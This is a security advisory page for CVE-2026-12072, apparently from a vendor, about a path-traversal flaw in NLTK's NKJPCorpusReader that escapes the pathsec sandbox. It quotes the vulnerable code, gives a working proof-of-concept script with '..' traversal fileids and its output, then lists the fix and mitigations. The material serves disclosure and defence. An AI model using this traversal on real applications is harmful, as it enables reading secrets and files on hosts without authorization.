CVE-2026-12072
HIGHCVE-2026-12072 is a high-severity (CVSS 7.5) vulnerability in nltk. O3 Security confirms whether CVE-2026-12072 is actually reachable in your code before you act, and blocks exploitation at runtime until you patch.
Natural Language Toolkit (NLTK): Path Traversal in NKJPCorpusReader leads to Arbitrary File Read and bypasses the nltk.pathsec sandbox (ENFORCE=True)
Real-World Exposure
nltkReal-time download stats are indexed for npm and PyPI packages. This vulnerability affects PyPI packages — download data is not available via public APIs for these ecosystems.
Description
Summary
A path-traversal vulnerability in NKJPCorpusReader allows an attacker who can
influence the fileids argument of its public read methods (header, raw,
words, sents, tagged_words) to read files outside the corpus root. The
reader builds the file path with no containment check and opens it with the
builtin open(), so it bypasses NLTK's nltk.pathsec sandbox — including the
strict ENFORCE = True mode that SECURITY.md recommends for web/multi-tenant
deployments. header() returns the parsed content of the out-of-root file to
the caller (arbitrary file read).
Details
SECURITY.md promises that file access is "validated against allowed NLTK data
directories" and that with nltk.pathsec.ENFORCE = True "unauthorized file
access … will raise PermissionError." That guarantee is enforced via
FileSystemPathPointer.open() / CorpusReader.open(), which call
nltk.pathsec.validate_path(...).
NKJPCorpusReader never uses that protected path. In
nltk/corpus/reader/nkjp.py:
add_root()builds the path by plain string concatenation with no normalization or containment check:def add_root(self, fileid): # lines 96-102 if self.root in fileid: return fileid # attacker-controlled value returned unchanged return self.root + fileid # plain concat, '..' not stripped- The header view appends a fixed basename and passes the string straight into
the corpus view (which opens it with the builtin
open()):class NKJPCorpus_Header_View(XMLCorpusView): # line 181 def __init__(self, filename, **kwargs): XMLCorpusView.__init__(self, filename + "header.xml", self.tagspec) # line 189 - The other modes reach the filesystem through
XML_Tool, which uses a rawos.path.join(not the hardenedFileSystemPathPointer.join()) and the builtinopen():class XML_Tool: # line 243 def __init__(self, root, filename): self.read_file = os.path.join(root, filename) # line 251 def build_preprocessed_file(self): fr = open(self.read_file) # line 256 — pathsec never consulted
Because open() is the builtin (not PathPointer.open()), the pathsec
sentinel is never invoked, so ENFORCE = True does not block the access. For
comparison, the safe API CorpusReader.open() (nltk/corpus/reader/api.py:222)
rejects ../absolute fileids and calls validate_path(..., required_root=...)
before opening — NKJPCorpusReader simply does not go through it.
PoC
Tested against nltk==3.9.4 (latest PyPI release) and current develop.
pip install "nltk==3.9.4"
python3 poc.py
poc.py:
import builtins, os, shutil, tempfile, warnings
warnings.simplefilter("ignore")
import nltk, nltk.pathsec as pathsec
from nltk.corpus.reader.nkjp import NKJPCorpusReader
print("nltk", nltk.__version__)
# A legitimate, empty NKJP corpus root (what a real app has).
root = tempfile.mkdtemp(prefix="nkjp_corpus_root_")
os.makedirs(os.path.join(root, "sample"), exist_ok=True)
open(os.path.join(root, "sample", "header.xml"), "w").write("<x/>")
# The attacker's target: a file OUTSIDE the corpus root.
secret_dir = tempfile.mkdtemp(prefix="OUTSIDE_ROOT_")
open(os.path.join(secret_dir, "header.xml"), "w").write(
"<teiHeader><fileDesc><sourceDesc><bibl>"
"<title>SECRET-API-KEY=sk-live-DEADBEEF</title>"
"</bibl></sourceDesc></fileDesc></teiHeader>")
# Enable the strict mode SECURITY.md recommends for web / multi-tenant.
pathsec.ENFORCE = True
print("ENFORCE =", pathsec.ENFORCE)
# Prove the out-of-root read and that pathsec is never consulted.
opened = []; real = builtins.open
builtins.open = lambda f, *a, **k: (opened.append(str(f)), real(f, *a, **k))[1]
reader = NKJPCorpusReader(root=root + "/", fileids="sample")
# Attacker-controlled `fileids`; '..' escapes the corpus root:
evil = root + "/../../../../../../.." + secret_dir + "/"
try:
result = reader.header(fileids=[evil])
finally:
builtins.open = real
print("opened outside root:", [p for p in opened if "OUTSIDE_ROOT_" in p][:1])
print("disclosed content :", result[0]["title"])
shutil.rmtree(root, ignore_errors=True); shutil.rmtree(secret_dir, ignore_errors=True)
Output (unmodified):
nltk 3.9.4
ENFORCE = True
opened outside root: ['/tmp/nkjp_corpus_root_XXXX/../../../../../../../tmp/OUTSIDE_ROOT_YYYY/header.xml']
disclosed content : SECRET-API-KEY=sk-live-DEADBEEF
With ENFORCE = True, NLTK opened a file outside the corpus root via the
builtin open() (no PermissionError, no warning) and returned its content.
Impact
This is a path traversal (CWE-22) leading to arbitrary file read. Any
application that passes attacker-influenced values into NKJPCorpusReader's
fileids (e.g. letting a user choose which corpus document to read) is
affected; the attacker can escape the corpus root and read files elsewhere on
the host, defeating the ENFORCE=True sandbox.
Honest scoping: header() discloses the content of out-of-root files named
header.xml containing NKJP header XML. raw()/words()/sents() also open
and read an arbitrary out-of-root file (proven by intercepting open()), but a
separate pre-existing bug in XML_Tool (writing str to a binary
NamedTemporaryFile) suppresses their return value on current Python, so for
those modes the impact is arbitrary file open/read. The attacker chooses the
directory freely; a fixed basename is appended per mode. The same
"build-path-then-builtin-open, skipping pathsec" anti-pattern also appears in
xmldocs.py:161, util.py:212,215, crubadan.py:78,97, lin.py:43,
ipipan.py:191, pl196x.py:110 and is worth fixing as a class.
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 🐍PyPI | nltk | all versions | 3.10.0 |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for nltk. O3's reachability analysis confirms whether the vulnerable code path is actually invoked in your application, so you act on real exposure instead of every transitive match.
Fix
Update nltk to 3.10.0 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms CVE-2026-12072 is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 pinpoints whether CVE-2026-12072 is reachable in your code and exactly where to fix it, then blocks exploitation in production at runtime until the patched version is deployed.
Tailored to CVE-2026-12072. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
Frequently Asked Questions
Is CVE-2026-12072 in your dependencies?
O3 detects CVE-2026-12072 across PyPI dependencies and uses function-level reachability to confirm whether the vulnerable code path is actually reachable — not just present. No false positives.